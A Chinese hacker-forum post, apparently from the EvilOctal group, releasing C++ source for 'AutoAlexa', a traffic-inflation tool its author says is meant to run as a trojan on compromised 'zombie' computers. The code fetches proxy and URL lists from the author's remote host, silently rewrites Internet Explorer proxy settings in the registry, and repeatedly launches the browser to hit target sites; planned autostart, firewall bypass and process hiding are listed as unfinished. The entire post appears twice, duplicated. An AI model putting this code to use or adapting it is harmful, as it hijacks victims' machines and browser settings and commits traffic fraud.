前段时间haicao写了一个刷站程序,原理是通过更新IE代理,然后调用IE去访问指定的网站,从而达到刷站的目的,后来haicao说这样做效果不理想,结果我也没有能继续开发下去的意愿,现在发布出来。
介绍一下:
这个程序只完成了一半,按我设计的功能还没有达到,但是没有希望的东西,也就没有开发的必要了。
结构:
1----程序启动时自动下载更新代理文件(完成)
2----设置IE代理,调用IE(可隐藏界面)访问指定网站(完成)
3-----自启动(没有写)
4------穿透放火墙(没有写)
5-------隐藏程序进程(没有写)
发布出来主要还是给菜鸟问学习的,高手们就不要看了,要么我就觉得我自己的在丢人显眼了!
haicao的程序主要思想是写出来自己运行,而我当时第一个想法就是做成木马方式,然后肉鸡或者是中木马的电脑自动帮我们刷站,所以我写的基于木马方式。
里面用到李马介绍的:浅析木马服务端的生成技术
[url]http://sunlion.3322.org/show.asp?sunid=206[/url]
如果没有写过木马配置器的同学,你可以学习学习!也可以把我的程序当着是一个例子。希望对给菜鸟们带来点什么。
copy.rar--------------------这个是摸板源代码
copy.bin——————————这个是摸板release后的exe文件,我修改为bin
Auto.cpp--------------------------这个是GUI木马培植器的主程序。
都在压缩包里面了。
前两天想找以前写这个程序的时候搜索的资料,结果竟然被我删除了,郁闷,这些东西都是叫无敌在给我传回来的,随便也就发出来了。图片如下:
[img]http://sunlion.3322.org/blogpic/2006427025068801.jpg[/img]
GUI主要是通过从载摸板资源,修改指定地址数据,再从新生成EXE,文件,所以这个程序的主要功能代码还在下面这个CMD版中:
#include <afx.h>
#include <stdio.h>
#include <Wininet.h>
#pragma comment(lib,"Wininet.lib")
//#include"HideProcess.h"
#define LEN sizeof(struct DataIpPort)
struct DataIpPort //定义一个链表结构来保存读入的代理地址
{
char dataLine[50];
struct DataIpPort *next;
};
struct DataIpPort *ReadData( char *fileName ) //这个子函数负责读入指定数据放到链表中
{
struct DataIpPort *l;
struct DataIpPort *p;
FILE *fp = NULL;
if( (l = (struct DataIpPort *)malloc(LEN)) == NULL )
{
printf( "create mem error.../n" );
exit(-1);
}
l->next =NULL;
if( (fp = fopen( fileName , "r" )) == NULL )
{
printf( "open the %s error.../n" , fileName );
exit(-1);
}
while( !feof(fp) )
{ //主要是头部插入,其实尾部最好,不用考虑颠倒问题
p = (struct DataIpPort *)malloc(LEN);
fscanf( fp , "%s" , p->dataLine );
p->next =l->next ;
l->next =p;
}
return (p);
}
//负责下载代理文件,这里直接copy了网上的代码,再次感谢作者
HRESULT UrlDownloadData(LPCTSTR szUrl, BYTE* &lpszData, DWORD &dwSize)
{
URL_COMPONENTS urlComponents;
memset(&urlComponents, 0, sizeof(urlComponents));
urlComponents.dwStructSize = sizeof(urlComponents);
urlComponents.dwHostNameLength = 1;
urlComponents.dwUrlPathLength = 1;
BOOL bSuccess = InternetCrackUrl((LPCSTR)szUrl, 0, 0, &urlComponents);
if(!bSuccess)
{
return E_FAIL;
}
CHAR szHostName[256];
strncpy(szHostName, urlComponents.lpszHostName, urlComponents.dwHostNameLength);
szHostName[urlComponents.dwHostNameLength] = 0;
CHAR szUrlPath[1024];
strncpy(szUrlPath, urlComponents.lpszUrlPath, urlComponents.dwUrlPathLength);
szUrlPath[urlComponents.dwUrlPathLength] = 0;
USHORT nPort = urlComponents.nPort;
HINTERNET hSession = InternetOpen("MSIE 2.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if(hSession != NULL)
{
HINTERNET hConnection = InternetConnect(hSession, _T(szHostName), nPort, NULL, NULL, urlComponents.nScheme, 0, 0);
if(hConnection != NULL)
{
static LPCTSTR* lpszAcceptTypes = NULL;
static LPCTSTR lpszMethod = "GET";
HINTERNET hRequest = HttpOpenRequest(hConnection, lpszMethod, _T(szUrlPath), HTTP_VERSION, NULL, lpszAcceptTypes,
INTERNET_FLAG_DONT_CACHE, NULL);
if(hRequest != NULL)
{
CHAR* szHeader = NULL;
CHAR* szPost = NULL;
BOOL bSend = ::HttpSendRequest(hRequest, szHeader,0, szPost,0);
if(!bSend)
{
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
return E_FAIL;
}
CHAR bufStatusCode[80];
DWORD dwStatusSize = sizeof(bufStatusCode);
if(FALSE == ::HttpQueryInfo(hRequest, HTTP_QUERY_STATUS_CODE,
&bufStatusCode, &dwStatusSize, NULL)) { //获取返回状态码
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
return E_FAIL;
}
UINT nStatusCode = (UINT)atol(bufStatusCode);
//判断状态码是不是 200
if(HTTP_STATUS_OK != nStatusCode)
{
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
return FALSE;
}
// Get the length of the file.
char bufContentLength[32];
DWORD dwLengthSize = sizeof(bufContentLength);
if(FALSE == ::HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
bufContentLength, &dwLengthSize, NULL))
{ // 取文件长度
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
return E_FAIL;
}
DWORD dwFileSize = (DWORD)atol(bufContentLength);
BYTE* lpszBuff = NULL;
DWORD dwBuff = 1024;
DWORD dwRead;
BOOL bDownload = TRUE;
lpszData = new BYTE[dwFileSize];
dwSize = 0;
do {
if(!InternetQueryDataAvailable(hRequest,&dwBuff,0,0))
{
if(lpszBuff != NULL)
{
delete[] lpszBuff;
}
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
delete[] lpszData;
lpszData = NULL;
dwSize = 0;
return E_FAIL;
} else
{
lpszBuff = new BYTE[dwBuff];
if(!InternetReadFile(hRequest,(LPVOID)lpszBuff,dwBuff,&dwRead))
{
delete[] lpszBuff;
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
delete[] lpszData;
lpszData = NULL;
dwSize = 0;
return E_FAIL;
} else
{
if(dwRead == 0)
{
delete[] lpszBuff;
break;
}
DWORD dwCurrent = dwSize;
dwSize += dwRead;
if(dwSize <= dwFileSize)
{
memcpy(lpszData + dwCurrent, lpszBuff, dwRead);
delete[] lpszBuff;
} else
{
delete[] lpszBuff;
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
delete[] lpszData;
lpszData = NULL;
dwSize = 0;
return E_FAIL;
}
}
}
} while(bDownload);
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
return S_OK;
} else
{
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
}
} else
{
InternetCloseHandle(hSession);
}
}
return E_FAIL;
}
void usage(char *p)
{
printf(
"/t Usage:/t/n"
"/t %s NetFileProxy FileProxy NetFileURL FileURL T1 T2 T3/t/n"
"/t NetFileProxy------代理列表文件网络地址.例如: [url]http://sunlion.3322.org/SunLion.EST[/url]/t/n"
"/t FileProxy------代理列表文件.例如: PROXY.EST/t/n"
"/t NetFileURL------要访问的地址文件网络地址.例如: [url]http://sunlion.3322.org/URL.EST[/url]/t/n"
"/t FileURL------要访问的地址.例如: URL.EST/t/n"
"/t T1------间隔时间(s).默认:18s/t/n"
"/t T2------循环次数.默认:24/t/n"
"/t T3------访问延时(ms)m默认:10000ms/t/n"
"/t 两种格式输入:1.只输入IE所在的盘符、代理和域名文件 2.把所有参数都输入/t/n"
"/t %s c: sunlion.est url.est/t/n"
"/t %s c: proxy.est url.est 15 24 10000/t/n"
,p,p,p);
}
int main(int argc,char *argv[])
{
char buf[100];
int i, T1=18,T2=24,T3=10000;
struct DataIpPort *IpPort,*IpPortCONST;
struct DataIpPort *URL,*URLCONST;
LPBYTE pData = NULL;
DWORD dwSize = 0;
char szSystemDir[MAX_PATH];
printf( " *************************************************************/r/n"
" * CMD版刷站程序 V1.0 AutoAlexa.exe */r/n"
" * Welcome To EvilOctalSecurityTeam */r/n"
" * [url]http://www.eviloctal.com[/url] */r/n"
" *design:SunLion[EST] [url]http://sunlion.126.com[/url] */r/n"
" *************************************************************/r/n"
);
HKEY hKey;
LPCTSTR key="SOFTWARE//Microsoft//Windows//CurrentVersion//Internet Settings//";
LPCTSTR value="/x00/x00/x00/x01";
GetSystemDirectory(szSystemDir,MAX_PATH);
szSystemDir[2] = '/0' ;
HRESULT hRet = UrlDownloadData(argv[1], pData, dwSize);
if(SUCCEEDED(hRet) && dwSize > 1)
{//读取文件
OFSTRUCT ofs;
HANDLE hFile = (HANDLE)OpenFile(argv[2], &ofs, OF_CREATE | OF_WRITE | OF_SHARE_EXCLUSIVE);
if(hFile)
{
DWORD dwWritten;
WriteFile(hFile, pData, dwSize, &dwWritten, NULL);
CloseHandle(hFile);
delete[] pData;
//return TRUE;
}
}
else
{
printf("UrlDownloadData1 false!");
delete[] pData;
}
//printf("qqqqqqqqqqqqqqqqqqqqqq!");
//return FALSE;
pData = NULL;
hRet = UrlDownloadData(argv[3], pData, dwSize);
if(SUCCEEDED(hRet) && dwSize > 1)
{//读取文件
OFSTRUCT ofs;
HANDLE hFile = (HANDLE)OpenFile(argv[4], &ofs, OF_CREATE | OF_WRITE | OF_SHARE_EXCLUSIVE);
if(hFile)
{
DWORD dwWritten;
WriteFile(hFile, pData, dwSize, &dwWritten, NULL);
CloseHandle(hFile);
delete[] pData;
//return TRUE;
}
}
else
{
printf("UrlDownloadData2 false!");
delete[] pData;
}
//return FALSE;
//HideProcess();
//下面是通过修改注册表实现 IE代理,两个地方自己看
if((::RegOpenKeyEx(HKEY_CURRENT_USER,
key, 0, KEY_WRITE,&hKey))!=ERROR_SUCCESS)
{
printf("错误: 无法打开有关的hKey!");
return FALSE;
}
if((::RegSetValueEx(hKey, "ProxyEnable", NULL,
REG_DWORD,(LPBYTE)value,4))!=ERROR_SUCCESS)
{
printf("错误: 无法修改有关注册表信息Enable!");
return FALSE;
}
if((argc!=5)&&(argc!=8))
{
usage(argv[0]);
return FALSE;
}
IpPort =IpPortCONST= ReadData(argv[2]);
if(IpPort==NULL)
printf("get file1 false!");
URL =URLCONST= ReadData(argv[4]);
if(URL==NULL)
printf("get file1 false!");
if (argc==8) //桂林老兵的技巧
{
T1=atoi(argv[5]);
T2=atoi(argv[6]);
T3=atoi(argv[7]);
}
for(i=0;i<T2;i++)
{
IpPort=IpPortCONST;
while(IpPort->dataLine !=NULL)
{
printf("/n%s",IpPort->dataLine);
if((::RegSetValueEx(hKey, "ProxyServer", NULL,
REG_SZ,(LPBYTE)IpPort->dataLine,sizeof(IpPort->dataLine)))!=ERROR_SUCCESS)
{
printf("错误: 无法修改有关注册表信息Server!");
return FALSE;
}
URL=URLCONST;
if(URL->dataLine==NULL)
printf("/n无法读取URL列表文件!");
while(URL->dataLine !=NULL)
{
STARTUPINFO info={3};//这里要了我的命
PROCESS_INFORMATION pinfo;
info.cb = sizeof(STARTUPINFO);
//info.dwFlags = STARTF_USESHOWWINDOW;
// info.wShowWindow = SW_HIDE;
info.dwFlags = STARTF_USESTDHANDLES;
info.wShowWindow = SW_SHOWDEFAULT;
sprintf(buf,"%s//Program Files//Internet Explorer//IEXPLORE.EXE %s",szSystemDir,URL->dataLine);
printf("/n%s/n",buf);
if(!CreateProcess(NULL,buf,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&info,&pinfo))
{
printf("错误: 无法创建IE进程!");
return FALSE;
}
URL =URL->next ;
ZeroMemory(buf,100);
Sleep(T3);
TerminateProcess(pinfo.hProcess,0 );
}
IpPort =IpPort->next ;
Sleep(T1*1000);
}
}
}
介绍一下:
这个程序只完成了一半,按我设计的功能还没有达到,但是没有希望的东西,也就没有开发的必要了。
结构:
1----程序启动时自动下载更新代理文件(完成)
2----设置IE代理,调用IE(可隐藏界面)访问指定网站(完成)
3-----自启动(没有写)
4------穿透放火墙(没有写)
5-------隐藏程序进程(没有写)
发布出来主要还是给菜鸟问学习的,高手们就不要看了,要么我就觉得我自己的在丢人显眼了!
haicao的程序主要思想是写出来自己运行,而我当时第一个想法就是做成木马方式,然后肉鸡或者是中木马的电脑自动帮我们刷站,所以我写的基于木马方式。
里面用到李马介绍的:浅析木马服务端的生成技术
[url]http://sunlion.3322.org/show.asp?sunid=206[/url]
如果没有写过木马配置器的同学,你可以学习学习!也可以把我的程序当着是一个例子。希望对给菜鸟们带来点什么。
copy.rar--------------------这个是摸板源代码
copy.bin——————————这个是摸板release后的exe文件,我修改为bin
Auto.cpp--------------------------这个是GUI木马培植器的主程序。
都在压缩包里面了。
前两天想找以前写这个程序的时候搜索的资料,结果竟然被我删除了,郁闷,这些东西都是叫无敌在给我传回来的,随便也就发出来了。图片如下:
[img]http://sunlion.3322.org/blogpic/2006427025068801.jpg[/img]
GUI主要是通过从载摸板资源,修改指定地址数据,再从新生成EXE,文件,所以这个程序的主要功能代码还在下面这个CMD版中:
#include <afx.h>
#include <stdio.h>
#include <Wininet.h>
#pragma comment(lib,"Wininet.lib")
//#include"HideProcess.h"
#define LEN sizeof(struct DataIpPort)
struct DataIpPort //定义一个链表结构来保存读入的代理地址
{
char dataLine[50];
struct DataIpPort *next;
};
struct DataIpPort *ReadData( char *fileName ) //这个子函数负责读入指定数据放到链表中
{
struct DataIpPort *l;
struct DataIpPort *p;
FILE *fp = NULL;
if( (l = (struct DataIpPort *)malloc(LEN)) == NULL )
{
printf( "create mem error.../n" );
exit(-1);
}
l->next =NULL;
if( (fp = fopen( fileName , "r" )) == NULL )
{
printf( "open the %s error.../n" , fileName );
exit(-1);
}
while( !feof(fp) )
{ //主要是头部插入,其实尾部最好,不用考虑颠倒问题
p = (struct DataIpPort *)malloc(LEN);
fscanf( fp , "%s" , p->dataLine );
p->next =l->next ;
l->next =p;
}
return (p);
}
//负责下载代理文件,这里直接copy了网上的代码,再次感谢作者
HRESULT UrlDownloadData(LPCTSTR szUrl, BYTE* &lpszData, DWORD &dwSize)
{
URL_COMPONENTS urlComponents;
memset(&urlComponents, 0, sizeof(urlComponents));
urlComponents.dwStructSize = sizeof(urlComponents);
urlComponents.dwHostNameLength = 1;
urlComponents.dwUrlPathLength = 1;
BOOL bSuccess = InternetCrackUrl((LPCSTR)szUrl, 0, 0, &urlComponents);
if(!bSuccess)
{
return E_FAIL;
}
CHAR szHostName[256];
strncpy(szHostName, urlComponents.lpszHostName, urlComponents.dwHostNameLength);
szHostName[urlComponents.dwHostNameLength] = 0;
CHAR szUrlPath[1024];
strncpy(szUrlPath, urlComponents.lpszUrlPath, urlComponents.dwUrlPathLength);
szUrlPath[urlComponents.dwUrlPathLength] = 0;
USHORT nPort = urlComponents.nPort;
HINTERNET hSession = InternetOpen("MSIE 2.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if(hSession != NULL)
{
HINTERNET hConnection = InternetConnect(hSession, _T(szHostName), nPort, NULL, NULL, urlComponents.nScheme, 0, 0);
if(hConnection != NULL)
{
static LPCTSTR* lpszAcceptTypes = NULL;
static LPCTSTR lpszMethod = "GET";
HINTERNET hRequest = HttpOpenRequest(hConnection, lpszMethod, _T(szUrlPath), HTTP_VERSION, NULL, lpszAcceptTypes,
INTERNET_FLAG_DONT_CACHE, NULL);
if(hRequest != NULL)
{
CHAR* szHeader = NULL;
CHAR* szPost = NULL;
BOOL bSend = ::HttpSendRequest(hRequest, szHeader,0, szPost,0);
if(!bSend)
{
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
return E_FAIL;
}
CHAR bufStatusCode[80];
DWORD dwStatusSize = sizeof(bufStatusCode);
if(FALSE == ::HttpQueryInfo(hRequest, HTTP_QUERY_STATUS_CODE,
&bufStatusCode, &dwStatusSize, NULL)) { //获取返回状态码
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
return E_FAIL;
}
UINT nStatusCode = (UINT)atol(bufStatusCode);
//判断状态码是不是 200
if(HTTP_STATUS_OK != nStatusCode)
{
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
return FALSE;
}
// Get the length of the file.
char bufContentLength[32];
DWORD dwLengthSize = sizeof(bufContentLength);
if(FALSE == ::HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
bufContentLength, &dwLengthSize, NULL))
{ // 取文件长度
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
return E_FAIL;
}
DWORD dwFileSize = (DWORD)atol(bufContentLength);
BYTE* lpszBuff = NULL;
DWORD dwBuff = 1024;
DWORD dwRead;
BOOL bDownload = TRUE;
lpszData = new BYTE[dwFileSize];
dwSize = 0;
do {
if(!InternetQueryDataAvailable(hRequest,&dwBuff,0,0))
{
if(lpszBuff != NULL)
{
delete[] lpszBuff;
}
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
delete[] lpszData;
lpszData = NULL;
dwSize = 0;
return E_FAIL;
} else
{
lpszBuff = new BYTE[dwBuff];
if(!InternetReadFile(hRequest,(LPVOID)lpszBuff,dwBuff,&dwRead))
{
delete[] lpszBuff;
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
delete[] lpszData;
lpszData = NULL;
dwSize = 0;
return E_FAIL;
} else
{
if(dwRead == 0)
{
delete[] lpszBuff;
break;
}
DWORD dwCurrent = dwSize;
dwSize += dwRead;
if(dwSize <= dwFileSize)
{
memcpy(lpszData + dwCurrent, lpszBuff, dwRead);
delete[] lpszBuff;
} else
{
delete[] lpszBuff;
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
delete[] lpszData;
lpszData = NULL;
dwSize = 0;
return E_FAIL;
}
}
}
} while(bDownload);
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
return S_OK;
} else
{
InternetCloseHandle(hConnection);
InternetCloseHandle(hSession);
}
} else
{
InternetCloseHandle(hSession);
}
}
return E_FAIL;
}
void usage(char *p)
{
printf(
"/t Usage:/t/n"
"/t %s NetFileProxy FileProxy NetFileURL FileURL T1 T2 T3/t/n"
"/t NetFileProxy------代理列表文件网络地址.例如: [url]http://sunlion.3322.org/SunLion.EST[/url]/t/n"
"/t FileProxy------代理列表文件.例如: PROXY.EST/t/n"
"/t NetFileURL------要访问的地址文件网络地址.例如: [url]http://sunlion.3322.org/URL.EST[/url]/t/n"
"/t FileURL------要访问的地址.例如: URL.EST/t/n"
"/t T1------间隔时间(s).默认:18s/t/n"
"/t T2------循环次数.默认:24/t/n"
"/t T3------访问延时(ms)m默认:10000ms/t/n"
"/t 两种格式输入:1.只输入IE所在的盘符、代理和域名文件 2.把所有参数都输入/t/n"
"/t %s c: sunlion.est url.est/t/n"
"/t %s c: proxy.est url.est 15 24 10000/t/n"
,p,p,p);
}
int main(int argc,char *argv[])
{
char buf[100];
int i, T1=18,T2=24,T3=10000;
struct DataIpPort *IpPort,*IpPortCONST;
struct DataIpPort *URL,*URLCONST;
LPBYTE pData = NULL;
DWORD dwSize = 0;
char szSystemDir[MAX_PATH];
printf( " *************************************************************/r/n"
" * CMD版刷站程序 V1.0 AutoAlexa.exe */r/n"
" * Welcome To EvilOctalSecurityTeam */r/n"
" * [url]http://www.eviloctal.com[/url] */r/n"
" *design:SunLion[EST] [url]http://sunlion.126.com[/url] */r/n"
" *************************************************************/r/n"
);
HKEY hKey;
LPCTSTR key="SOFTWARE//Microsoft//Windows//CurrentVersion//Internet Settings//";
LPCTSTR value="/x00/x00/x00/x01";
GetSystemDirectory(szSystemDir,MAX_PATH);
szSystemDir[2] = '/0' ;
HRESULT hRet = UrlDownloadData(argv[1], pData, dwSize);
if(SUCCEEDED(hRet) && dwSize > 1)
{//读取文件
OFSTRUCT ofs;
HANDLE hFile = (HANDLE)OpenFile(argv[2], &ofs, OF_CREATE | OF_WRITE | OF_SHARE_EXCLUSIVE);
if(hFile)
{
DWORD dwWritten;
WriteFile(hFile, pData, dwSize, &dwWritten, NULL);
CloseHandle(hFile);
delete[] pData;
//return TRUE;
}
}
else
{
printf("UrlDownloadData1 false!");
delete[] pData;
}
//printf("qqqqqqqqqqqqqqqqqqqqqq!");
//return FALSE;
pData = NULL;
hRet = UrlDownloadData(argv[3], pData, dwSize);
if(SUCCEEDED(hRet) && dwSize > 1)
{//读取文件
OFSTRUCT ofs;
HANDLE hFile = (HANDLE)OpenFile(argv[4], &ofs, OF_CREATE | OF_WRITE | OF_SHARE_EXCLUSIVE);
if(hFile)
{
DWORD dwWritten;
WriteFile(hFile, pData, dwSize, &dwWritten, NULL);
CloseHandle(hFile);
delete[] pData;
//return TRUE;
}
}
else
{
printf("UrlDownloadData2 false!");
delete[] pData;
}
//return FALSE;
//HideProcess();
//下面是通过修改注册表实现 IE代理,两个地方自己看
if((::RegOpenKeyEx(HKEY_CURRENT_USER,
key, 0, KEY_WRITE,&hKey))!=ERROR_SUCCESS)
{
printf("错误: 无法打开有关的hKey!");
return FALSE;
}
if((::RegSetValueEx(hKey, "ProxyEnable", NULL,
REG_DWORD,(LPBYTE)value,4))!=ERROR_SUCCESS)
{
printf("错误: 无法修改有关注册表信息Enable!");
return FALSE;
}
if((argc!=5)&&(argc!=8))
{
usage(argv[0]);
return FALSE;
}
IpPort =IpPortCONST= ReadData(argv[2]);
if(IpPort==NULL)
printf("get file1 false!");
URL =URLCONST= ReadData(argv[4]);
if(URL==NULL)
printf("get file1 false!");
if (argc==8) //桂林老兵的技巧
{
T1=atoi(argv[5]);
T2=atoi(argv[6]);
T3=atoi(argv[7]);
}
for(i=0;i<T2;i++)
{
IpPort=IpPortCONST;
while(IpPort->dataLine !=NULL)
{
printf("/n%s",IpPort->dataLine);
if((::RegSetValueEx(hKey, "ProxyServer", NULL,
REG_SZ,(LPBYTE)IpPort->dataLine,sizeof(IpPort->dataLine)))!=ERROR_SUCCESS)
{
printf("错误: 无法修改有关注册表信息Server!");
return FALSE;
}
URL=URLCONST;
if(URL->dataLine==NULL)
printf("/n无法读取URL列表文件!");
while(URL->dataLine !=NULL)
{
STARTUPINFO info={3};//这里要了我的命
PROCESS_INFORMATION pinfo;
info.cb = sizeof(STARTUPINFO);
//info.dwFlags = STARTF_USESHOWWINDOW;
// info.wShowWindow = SW_HIDE;
info.dwFlags = STARTF_USESTDHANDLES;
info.wShowWindow = SW_SHOWDEFAULT;
sprintf(buf,"%s//Program Files//Internet Explorer//IEXPLORE.EXE %s",szSystemDir,URL->dataLine);
printf("/n%s/n",buf);
if(!CreateProcess(NULL,buf,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&info,&pinfo))
{
printf("错误: 无法创建IE进程!");
return FALSE;
}
URL =URL->next ;
ZeroMemory(buf,100);
Sleep(T3);
TerminateProcess(pinfo.hProcess,0 );
}
IpPort =IpPort->next ;
Sleep(T1*1000);
}
}
}